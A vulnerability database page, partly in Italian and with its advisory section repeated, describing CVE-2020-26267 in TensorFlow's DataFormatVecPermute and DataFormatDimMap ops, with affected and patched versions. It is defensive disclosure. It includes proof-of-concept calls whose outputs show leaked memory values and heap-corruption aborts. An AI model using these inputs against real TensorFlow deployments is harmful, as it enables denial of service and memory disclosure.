Lack of validation in data format attributes in TensorFlow

ALTO 7.8CVE-2020-26267 · BIT-tensorflow-2020-26267 · GHSA-c9f3-9wfr-wgh7 · Published 10/12/2020 · updated 17/06/2026

In breve

CVE-2020-26267 è una vulnerabilità ALTO (CVSS 7.8) che riguarda tensorflow, tensorflow-cpu, tensorflow-gpu.
Probabilità di sfruttamento nei prossimi 30 giorni (EPSS): 0.24%, superiore al 15.6% delle vulnerabilità.
Correzione: aggiornare a 2.0.4, 2.1.3, 2.2.2, 2.3.2 o successiva.

Package	Affected versions	Patched versions
tensorflow PyPI	`≥ 2.0.0, < 2.0.4≥ 2.1.0, < 2.1.3≥ 2.2.0, < 2.2.2≥ 2.3.0, < 2.3.2< 1.15.5`	`2.0.42.1.32.2.22.3.21.15.5`
tensorflow-cpu PyPI	`≥ 2.0.0, < 2.0.4≥ 2.1.0, < 2.1.3≥ 2.2.0, < 2.2.2≥ 2.3.0, < 2.3.2< 1.15.5`	`2.0.42.1.32.2.22.3.21.15.5`
tensorflow-gpu PyPI	`≥ 2.0.0, < 2.0.4≥ 2.1.0, < 2.1.3≥ 2.2.0, < 2.2.2≥ 2.3.0, < 2.3.2< 1.15.5`	`2.0.42.1.32.2.22.3.21.15.5`
tensorflow google	`≥ 2.0.0, < 2.0.4≥ 2.1.0, < 2.1.3≥ 2.2.0, < 2.2.2≥ 2.3.0, < 2.3.2< 1.15.5`	`2.0.42.1.32.2.22.3.21.15.5`

Description

Impact

The tf.raw_ops.DataFormatVecPermute API does not validate the src_format and dst_format attributes. The code assumes that these two arguments define a permutation of NHWC.

However, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.

>>> import tensorflow as tf
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], 
                                    src_format='1234', dst_format='1253')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1234', dst_format='1223')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1224', dst_format='1423')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='12345678', dst_format='87654321')
munmap_chunk(): invalid pointer
Aborted
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],           
                                    src_format='12345678', dst_format='87654321')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[71364624,        0],
       [71365824,        0],
       [     560,        0],
       [      48,        0]], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], 
                                    src_format='12345678', dst_format='87654321')
free(): invalid next size (fast)
Aborted

A similar issue occurs in tf.raw_ops.DataFormatDimMap, for the same reasons:

>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',
>>> dst_format='8765')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[1954047348, 1954047348],
       [1852793646, 1852793646],
       [1954047348, 1954047348],
       [1852793632, 1852793632]], dtype=int32)>

References

tensorflow/tensorflow security advisory · WEB
nvd.nist.gov/vuln/detail/CVE-2020-26267 · ADVISORY
tensorflow/tensorflow commit ebc70b7 · WEB
pypa/advisory-database · WEB
pypa/advisory-database · WEB
pypa/advisory-database · WEB
tensorflow/tensorflow · PACKAGE

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Package

Affected versions

Patched versions

tensorflow

PyPI

≥ 2.0.0, < 2.0.4≥ 2.1.0, < 2.1.3≥ 2.2.0, < 2.2.2≥ 2.3.0, < 2.3.2< 1.15.5

2.0.42.1.32.2.22.3.21.15.5

tensorflow-cpu

PyPI

≥ 2.0.0, < 2.0.4≥ 2.1.0, < 2.1.3≥ 2.2.0, < 2.2.2≥ 2.3.0, < 2.3.2< 1.15.5

2.0.42.1.32.2.22.3.21.15.5

tensorflow-gpu

PyPI

≥ 2.0.0, < 2.0.4≥ 2.1.0, < 2.1.3≥ 2.2.0, < 2.2.2≥ 2.3.0, < 2.3.2< 1.15.5

2.0.42.1.32.2.22.3.21.15.5

tensorflow

google

≥ 2.0.0, < 2.0.4≥ 2.1.0, < 2.1.3≥ 2.2.0, < 2.2.2≥ 2.3.0, < 2.3.2< 1.15.5

2.0.42.1.32.2.22.3.21.15.5

Description

Impact

The tf.raw_ops.DataFormatVecPermute API does not validate the src_format and dst_format attributes. The code assumes that these two arguments define a permutation of NHWC.

However, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.

>>> import tensorflow as tf
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], 
                                    src_format='1234', dst_format='1253')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1234', dst_format='1223')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1224', dst_format='1423')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='12345678', dst_format='87654321')
munmap_chunk(): invalid pointer
Aborted
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],           
                                    src_format='12345678', dst_format='87654321')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[71364624,        0],
       [71365824,        0],
       [     560,        0],
       [      48,        0]], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], 
                                    src_format='12345678', dst_format='87654321')
free(): invalid next size (fast)
Aborted

A similar issue occurs in tf.raw_ops.DataFormatDimMap, for the same reasons:

>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',
>>> dst_format='8765')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[1954047348, 1954047348],
       [1852793646, 1852793646],
       [1954047348, 1954047348],
       [1852793632, 1852793632]], dtype=int32)>

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Lack of validation in data format attributes in TensorFlow

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Altre vulnerabilità di tensorflow

Lack of validation in data format attributes in TensorFlow

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References

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